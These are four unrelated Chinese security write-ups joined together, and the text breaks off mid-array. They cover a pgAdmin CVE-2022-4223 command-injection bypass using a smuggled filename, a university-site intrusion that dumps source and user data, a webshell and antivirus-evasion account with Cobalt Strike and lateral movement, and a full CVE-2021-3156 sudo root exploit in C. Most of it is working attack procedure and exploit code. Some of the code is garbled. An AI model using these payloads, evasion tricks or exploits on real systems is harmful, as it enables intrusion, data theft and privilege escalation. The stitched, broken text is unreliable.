我们可以看到针对于漏洞 CVE-2022-4223,官方做了一定的修复措施。 web\pgadmin\misc__init__.py#validate_binary_path 首先是添加了 @login_required 进行权限校验。在 Flask 框架中,@login_required 装饰器通常与 Flask-Login 扩展一起使用。Flask-Login 提供了简单而强大的用户身份验证功能,其中包括 @login_required 装饰器用于保护需要登录用户才能访问的视图。当在一个函数、方法或类上应用 @login_required 装饰器时,它会检查当前用户是否已经登录。如果用户未登录,则会将其重定向到登录页面或返回相应的错误信息,而不允许访问被装饰的代码块。 添加了权限校验之后,这个漏洞就从未授权的前台漏洞,转换为需要登录的后台漏洞了。 同时对传入的路径进行校验,通过 os.path.exists 来判断是否存在。 linux 我们发现会对传入的路径进行校验的,那么在linux 下,我们可以通过在服务器上上传一个包含恶意文件名的文件,来进行绕过。 可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin docker pull dpage/pgadmin4:7.6 docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456' -p 5050:80 --name pgadmin -d docker.io/dpage/pgadmin4:7.6 登录后台工具->存储管理器 上传一个包含恶意文件名的文件 POST /file_manager/filemanager/3395111/ HTTP/1.1 Host: 127.0.0.1:5050 Content-Length: 491 X-pgA-CSRFToken: ImE3NDYzOGJhOWYxNDIzY2QzZDUwNTI3MWMzOGU4NGNhMmNhNzkzYTQi.Zi8ctA._DuZsbw2SE05kwuVkqgG7Y-KsjE Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryihDQGI2B09k9alLf Origin: http://127.0.0.1:5050 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: pga4_session=2397843f-fbe6-4481-947e-e30f73c6a0ee!GPxXiZuTJzjVn+sk6vhlLNAmjhQr6xIY0yumFSIGBAQ=; PGADMIN_LANGUAGE=zh Connection: close ------WebKitFormBoundaryihDQGI2B09k9alLf Content-Disposition: form-data; name="newfile"; filename="\";id;#" Content-Type: text/plain 123 ------WebKitFormBoundaryihDQGI2B09k9alLf Content-Disposition: form-data; name="mode" add ------WebKitFormBoundaryihDQGI2B09k9alLf Content-Disposition: form-data; name="currentpath" / ------WebKitFormBoundaryihDQGI2B09k9alLf Content-Disposition: form-data; name="storage_folder" my_storage ------WebKitFormBoundaryihDQGI2B09k9alLf-- 同时可以得到在文件在服务器上的路径 打开文件->配置 路径->二进制路径->填入恶意文件的位置 点击运行 windows 下载软件并进行安装 https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v6.21/windows/pgadmin4-6.21-x64.exe 需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0' 因为windows 无法利用拼接来执行命令,所以还是要想办法成功加载文件才行。 import os binary_path = "\\\\192.168.222.128\\TMP\\" UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql'] for utility in UTILITIES_ARRAY: full_path = os.path.abspath( os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe'))) ) print(full_path) print(os.path.exists(full_path)) windows 不能再利用共享资源来实现,所以也构造一个exe 上传并执行。 编译恶意的exe文件并放到上传 pip install pyinstaller type execute_calc.py import subprocess def execute_calc(): subprocess.call("calc.exe") if __name__ == "__main__": execute_calc() pyinstaller --onefile execute_calc.py 和linux启动有所不同 Tools->import 成功将恶意文件上传到服务器上。 同时构造请求数据包 POST /misc/validate_binary_path HTTP/1.1 Host: 192.168.222.145:5050 X-pgA-CSRFToken: IjU4MzQ0OTM2Yzc3YzM5ZmE5Yjg0MjRhODVlNzkzZjM5MTViZDBmNzki.Zi9GcQ.pGwCjLqPq3fNzohIRNerpipIRK8 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Origin: http://192.168.222.145:5050 Referer: http://192.168.222.145:5050/browser/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: pga4_session=e6f521fc-e9f4-4c58-bf0a-e9abafb4ceb5!JG7fBzRT4FkugKb175t9vWdZpKmAtnbo0d/oPzcAbFI=; PGADMIN_LANGUAGE=en Connection: close Content-Type: application/json Content-Length: 39 {"utility_path":"C:\\Users\\whippet\\"} 可能是因为本地测试的原因,后来尝试的时候发现,本地去调用共享文件时,可以接收到请求,但是很快就断开连接,所以最后的结果是 False。 所以环境为windwos 时可以利用共享资源来绕过 os.path.exists()的检测。
本文结合其它用户案例分析讲解挖掘某双一流站点的过程,包含日志泄露漏洞深入利用失败,到不弱的弱口令字典进入后台,再到最后偶遇一个貌似只在靶场遇到过的高危漏洞。 信息搜集: web站点的话从域名,ip等入手范围太大了,于是决定直接从小程序入手。 微信搜索学校名称,便直接可以通过公众号,小程序寻找目标。这里注意如果你要挖掘某edu的漏洞,就可以多关注他们的公众号,小程序,看看最近有没有什么新的功能出现,这种功能点漏洞比较容易出现。 于是我直接在某公众号发现了一个新功能:报名入口。临近毕业,所有有很多公司可能会来学校宣讲或者招人,这种时候就很有可能出现新功能,本案例就是。 照常点击功能,出现跳转,直接转浏览器测web页面。 日志泄露nday: 在登陆时发现限定了登陆时间,而目前已经不在时间内,可见这其实就是一个临时的系统。 我检查js信息尝试调试js绕过,没成功就通过报错发现为thinkphp框架,直接上工具一把梭。 链接:https://github.com/Lotus6/ThinkphpGUI 只可惜只存在一个日志泄露的nday,没能shell。 根据日志泄露目录可以发现能够遍历近一年的日志信息,此时的思路就是从日志中看能不能拿到管理员或者其它用户登陆的敏感信息,例如账号密码之类,这样就可以扩大日志泄露危害,进一步挖掘利用。 参考文章: https://cloud.tencent.com/developer/article/1752185 这篇文章就是利用kali自带工具whatweb探测出thinkphp框架: 并通过dirb扫除.svn泄露: 再通过svnExploit工具进行下载利用: 链接:https://github.com/admintony/svnExploit 并在svn中发现大量日志泄露: 并通过找到最新的日志信息,找到密码hash值,通过cmd5实现解密并成功进入后台: https://blog.csdn.net/qq_41781465/article/details/144092247 这篇文章也是在日志信息中成功找到账号密码,配合dirsearch扫出后台,成功登陆: 不过我这次日志信息量虽然很大,且经过我实际尝试也确实会记录我的一些操作信息,但翻遍日志却并貌似不存在敏感信息: 但我发现在日志中泄露了sql语句,貌似可以寻找对应接口,参数拼接成数据包尝试sql注入,但我找遍了日志都没有发现可以直接使用的接口或者代入了sql语句的参数。 不弱的弱口令: 翻找js文件,尝试直接拼接登陆验证接口,和其它查询接口全部失败。 不过根据找到的其它js路径发现其目录结构基本拼接在/syl/下,于是根据经验在目录后拼接admin,系统跳转到后台管理员登陆界面,输入账户为admin页面显示密码错误,输入其它账户页面显示账号不存在,可知账户为admin。 根据页面特征制作字典并加上弱口令top500的内容,尝试爆破成功:密码为页面根路径字母syl+88888888。 这种:syl88888888一看就是弱口令,但如果你只是通过现存的什么top100,top500这种字典是爆破不出来的,所以在进行渗透测试时一定还要根据页面特征,关键字,系统名称首字母等信息制作特定的社工字典尝试。 比如kali自带的cewl工具,便是一种基于爬虫,对页面目录信息进行循环爬取再生成字典的工具。 工具分析文章:https://www.cnblogs.com/jackie-lee/p/16132116.html 成功进入后台。 并发现大量信息泄露: 存在四千多条用户敏感信息泄露。 爬出靶场的高危: 通过dirsearch扫描目录,看有没有结果。 直接扫出来了好几条.git路径,直接访问泄露的路径看不出什么敏感信息。 但很明显站点存在.git信息泄露漏洞,一个我曾经只在ctf技能树复现过的漏洞。 Git就是一个开源的分布式版本控制系统,在执行gitinit初始化目录时会在当前目录下自动创建一个.git目录,用来记录代码的变更记录等,发布代码的时候如果没有把.git这个目录删除而是直接发布到服务器上,那么攻击者就可以通过它来恢复源代码,从而造成信息泄露等一系列的安全问题。 尝试githack进行探测利用(只能python2使用) 工具链接:https://github.com/BugScanTeam/GitHack 该工具基本原理就是解析.git/index文件,找到工程中所有的文件,文件名,再去.git/objects/文件夹下下载对应的文件,并通过zlib解压文件并按原始的目录结构写入源代码 结果我直接把整个git扒了下来,得到站点整套源码,于是通过vscode打开分析: 随意翻找文件,找到mysql数据库账号密码,于是扫描端口发现开启3306,尝试连接,发现似乎做了IP白名单限制,于是放弃。 再翻找文件,发现居然直接把后台部分用户的信息写在了.sql文件内,包含姓名,***,电话等信息,不过只有几百条。 此处其实还可以深入对php源码进行审计,发现更多高危漏洞,但我却不会php代审,所以打到这里就收工了,觉得应该可以拿证了。 整个渗透过程很顺利,大概就两三个小时,还是信息搜集做得好,不然都不一定能出成果,同时需要多阅读漏洞挖掘文章,这样在渗透测试过程中才能对漏洞利用更加熟练。
0x01 获取webshell 在各种信息搜集中,发现某个ip的端口挂着一个比较老的服务。 首先看到了员工工号和手机号的双重验证,也不知道账号是什么结构组成的,基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果,看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.html。可能是系统的帮助文档 看得出来也是一个年久失修的系统了,图片的链接都已经404了。但是这里得到了一个示例账号zs001,也知道了初始密码是123456(吐槽:果然年久失修了,这个系统就没有输入密码的input,只有一个手机号验证码)。 知道了账号,这里还缺一个手机号。感觉这个系统应该没做验证,毕竟看上去是一个老旧的系统,估计有没有人用用都不好说,可能是单位那种废弃了但是还没下架的边缘资产。然后随便输入一个手机号上去。果然! 然后随便找个手机接码平台等待验证码发过来,然后过了十几分钟无果,想到可能是废弃资产的原因验证码接口早就失效了。于是没办法只能掏出burp开始爆破,估计验证码也是四位数,如果是六位数验证码大概率没系了。但是这波运气还算可以。也是成功爆破出来了。 然后登录后台直接上传一个木马,没有任何过滤。emmmmmmm开始怀念过去。那时候的洞是真好挖啊。 但是访问的时候出现了一个坏消息。404了,404了怎么办呢。想到了可能目标服务器上有杀软之类的东西。木马可能是上传到服务器上了,然后再上传到服务器之后被杀软自动隔离,那么这时候访问就会出现404。 0x02 webshell免杀 这里中途又替换了几个github上的免杀木马,均无效。ps:我是懒狗,免杀什么的能不写代码就不写代码。php这玩意有个好处,就是语法特别脏,各种免杀手法层出不穷,花里胡哨。这里就简单的介绍几种比较偷懒的方法。 2.1 无字母webshell 个人在实际渗透过程中还算挺好用的,无字母webshell本来是ctf的一些题目,但是事实上免杀效果确实也挺强,而且适应性也比较高,适合一句话木马。之后可以直接上蚁剑链接。 举例: ps:当然都说了偷懒,肯定不是我写的,直接去ctf平台的题目的writeup偷一个就好了。或者直接百度搜索无字母webshell。 免杀效果如下: ps: emmmmmmm,我只能说,无敌好吧。 2.2 一键免杀工具免杀 这里不多说了,去github直接找就是,但是github特征过于明显,以至于被多个杀软厂商标记。现在感觉免杀的效果也不太好了。基本上start高一些的工具生成的webshell都是秒杀。但是可以找一些start数量少的,效果也还不错。 2.3 混淆免杀 混淆免杀,php有很多在线混淆的网站,也就是在不改变代码的功能情况下打乱语法的结构使得代码变为不可读或者可读性很差的代码防止其他人去修改。 可以直接去网上搜索php混淆 这里就是用的就是在线混淆php代码的方式直接过了目标主机上的杀软。 0x03 绕过杀软上线 接下来就是传frp代理,上cs的操作了。这里先上一个cs,但是由于目标机器上有杀软,所以采用shellcode加加载器的方式去进行绕过。众所周知,cs的特征较为明显,很容易就会被杀软拦截。 首先是shellcode免杀,shellcode免杀可以使用github上的sgn加密工具,免杀效果能达到vt0检测。github链接:https://github.com/EgeBalci/sgn 使用方法也很简单,把cs生成的shellcode放在sgn文件夹中执行 ,***.sgn就是免杀之后的shellcode了。 sgn.exe shellcode文件名 免杀前效果 免杀后效果 剩下的就是加载器本身的免杀了,这里我就用github随便clone下来的加载器。可以看到编译完成都没来得及运行就直接被杀了。那么怎么在不动加载器的源代码的情况下。完成免杀效果呢。 其实有一个比较抽象的技巧,就是当文件足够大之后,杀软的沙箱就不会去运行该程序,从而实现绕过杀软的检测。比如一个几百m的exe杀软就不会去检测。 那么怎么能让文件变得足够大呢?就是不断往文件后面填充垃圾字符,比如\x00这样既不会影响exe执行,又能够让exe变得足够大。比如我用python不断往文件后面追加\x00字符。 这里上代码 with open('1.exe', 'ab') as f:\f.write(b'\x00' * 1024 * 1024 * 100) 可以看到每次运行add.py 1.exe就大了100m。 然后多次运行,当1.exe达到2g的时候,根据每个杀毒软件版本不一定能用。有些新的杀软不会检测文件大小判断是否运行。(这个方法很玄学,不是很稳定,有时候能有有时候不能用。但是还是值得一试,毕竟是老前辈传承下来的经典免杀手法。) 但是问题来了,2个g的文件怎么上传到服务器又是一个问题,这里就要说明一下\x00的好处了,可以通过压缩成zip的方式把exe压缩,压缩文件的体积其实还是和之前编译好的文件差不多大。然后只能很方便的就能够把压缩包上传到服务器,然后通过服务器的命令去进行解压。也可以通过webshell去实现解压文件的功能。 0x04 内网移动 之后便是熟悉的内网横向环节了。首先是看到了一个弱口令,然后直接链接数据库然后getshell。 然后直接net user add,之后3389链接上服务器,翻出了一个密码本。 找到一个双网卡的sql server服务器,然后上线,扫一波SMB 最后找到重要系统10.x.x.x 这个系统,看着是java写的后端,也是一个看起来很老的界面了。 扫了一下路径发现存在druid。 原本想找session登录的,然后想了一下试一下运气直接怼一波st2,成功拿下(也是运气爆棚)
环境搭建 直接拉取合适的docker docker 环境: https://hub.docker.com/r/chenaotian/cve-2021-3156 下载glibc-2.27源码和sudo-1.8.21源码 漏洞分析 /* set user_args */ if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; //计算command缓冲区的大小,每个command后面跟一个空格符 if (size == 0 || (user_args = malloc(size)) == NULL) { //分配堆块,存放command sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(-1); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { // 设置-s参数进入分支 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; // 跳过反斜杠 *to++ = *from++; // 复制反斜杠后面的字符 } // 漏洞点在于当结尾是\且后面不是空格时,会from++一次,在拷贝完后还会from++,再去判断while的条件,就跳过了0,造成了越界写。 *to++ = ' '; //每个command后面跟一个空格 } *--to = ''; } else { for (to = user_args, av = NewArgv + 1; *av; av++) { n = strlcpy(to, *av, size - (to - user_args)); if (n >= size - (to - user_args)) { sudo_warnx(U_("internal error, %s overflow"), __func__); debug_return_int(-1); } to += n; *to++ = ' '; } *--to = ''; } } } 结合调试,可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点: ①以反斜杠结尾可导致溢出 ②以反斜杠作为参数可以写入零字节 同时,被溢出的那个堆块的大小等于对应参数长度+1。 漏洞调试 glibc源码 gdb exp catch exec b policy_check b sudoers.c:846 b setlocale b sudo.c:148 b setlocale.c:369 // strdup b setlocale.c:398 b nss_load_library gcc exp.c -o exp2 -lm 漏洞利用 1 利用目标 p ni 可以发现service_user结构体在堆上 堆块大小为0x40 nss_load_library的函数调用流程和相关的数据结构机制 /* Load library. */ static int ' (service_user *ni) { if (ni->library == NULL) // ni->library等于0进入分支 { /* This service has not yet been used. Fetch the service library for it, creating a new one if need be. If there is no service table from the file, this static variable holds the head of the service_library list made from the default configuration. */ static name_database default_table; ni->library = nss_new_service (service_table ?: &default_table, ni->name); // 新建一个ni->library,并将成员初始化 if (ni->library == NULL) return -1; } if (ni->library->lib_handle == NULL) // ni->library是新建的,lib_handle是0 { /* Load the shared library. */ size_t shlen = (7 + strlen (ni->name) + 3 + strlen (__nss_shlib_revision) + 1); int saved_errno = errno; char shlib_name[shlen]; /* Construct shared object name. */ __st***y (__st***y (__st***y (__st***y (shlib_name, "libnss_"), ni->name), ".so"), __nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库 if (ni->library->lib_handle == NULL) { /* Failed to load the library. */ ni->library->lib_handle = (void *) -1l; __set_errno (saved_errno); } 通过对nss_load_library源码的分析,发现这里如果能将ni结构体的library覆盖为0,name覆盖成自己的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载执行恶意文件。 2 堆块布局 接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。 这就来到了第二个问题,setlocale 如何通过环境变量LC_* 进行堆布局。 // locale\setlocale.c /* Load the new data for each category. */ while (category-- > 0) if (category != LC_ALL) { newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 if (newdata[category] == NULL) { #ifdef NL_CURRENT_INDIRECT if (newnames[category] == _nl_C_name) /* Null because it's the weak value of _nl_C_LC_FOO. */ continue; #endif break; } 首先是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 // locale\findlocale.c struct __locale_data * _nl_find_locale (const char *locale_path, size_t locale_path_len, int category, const char **name) { ...... /* LOCALE can consist of up to four recognized parts for the XPG syntax: language[_territory[.codeset]][@modifier] Beside the first all of them are allowed to be missing. If the full specified locale is not found, the less specific one are looked for. The various part will be stripped off according to the following order: (1) codeset (2) normalized codeset (3) territory (4) modifier */ //locale的命名规则为_.,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。 // C.UTF-8@AAAAAAAAA mask = _nl_explode_name (loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset); // 判断四个部分那部分有缺失 if (mask == -1) /* Memory allocate problem. */ return NULL; /* If exactly this locale was already asked for we have an entry with the complete name. */ locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 0); if (locale_file == NULL) { /* Find status record for addressed locale file. We have to search through all directories in the locale path. */ locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category], locale_path, locale_path_len, mask, language, territory, codeset, normalized_codeset, modifier, _nl_category_names.str + _nl_category_name_idxs[category], 1); if (locale_file == NULL) /* This means we are out of core. */ return NULL; } 结合源码和相关资料,可以知道locale的命名规则为_.,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA 堆申请原语和堆释放原语 // locale\setlocale.c /* Load the new data for each category. */ while (category-- > 0) if (category != LC_ALL) { newdata[category] = _nl_find_locale (locale_path, locale_path_len, category, &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 if (newdata[category] == NULL) { #ifdef NL_CURRENT_INDIRECT if (newnames[category] == _nl_C_name) /* Null because it's the weak value of _nl_C_LC_FOO. */ continue; #endif break; } /* We must not simply free a global locale since we have no control over the usage. So we mark it as un-deletable. And yes, the 'if' is needed, the data might be in read-only memory. */ if (newdata[category]->usage_count != UNDELETABLE) newdata[category]->usage_count = UNDELETABLE; /* Make a copy of locale name. */ if (newnames[category] != _nl_C_name) { if (strcmp (newnames[category], _nl_global_locale.__names[category]) == 0) newnames[category] = _nl_global_locale.__names[category]; else { newnames[category] = __strdup (newnames[category]); //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 if (newnames[category] == NULL) break; } } } /* Create new composite name. */ composite = (category >= 0 ? NULL : new_composite_name (LC_ALL, newnames)); if (composite != NULL) { /* Now we have loaded all the new data. Put it in place. */ for (category = 0; category 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(-1); } 在malloc前下断点· b sudoers.c:849 查看bins,可以看到tcachebins中0xa0正好有一个堆块 然后在nss_load_library下断点,查看service_user b nss_load_library p ni 可以看到前面0xa0的堆块在service_user的前面,这样就可以通过溢出覆盖name字段 所以填坑的参数按照前面的分析应该是 "a"*(0x98-1)+"\\" "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\" 综合得到如下初步exp #include #include #include #include #define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12 char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"}; int main() { char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1 char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL}; execve("/usr/local/bin/sudoedit",argv,env); } 3 溢出利用 当前exp把XXX/test写到了0x555555623b07 此时的service_user在0x5555556241b0,name的偏移是0x30 start = 0x555555623b07 end = 0x5555556241b0+0x30 n = end-start print(n) for i in range(n): print('"\\\\"',end=',') 前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。 共1753个反斜杠 exp #include #include #include #include #define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12 char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"}; int main() { char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1 char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\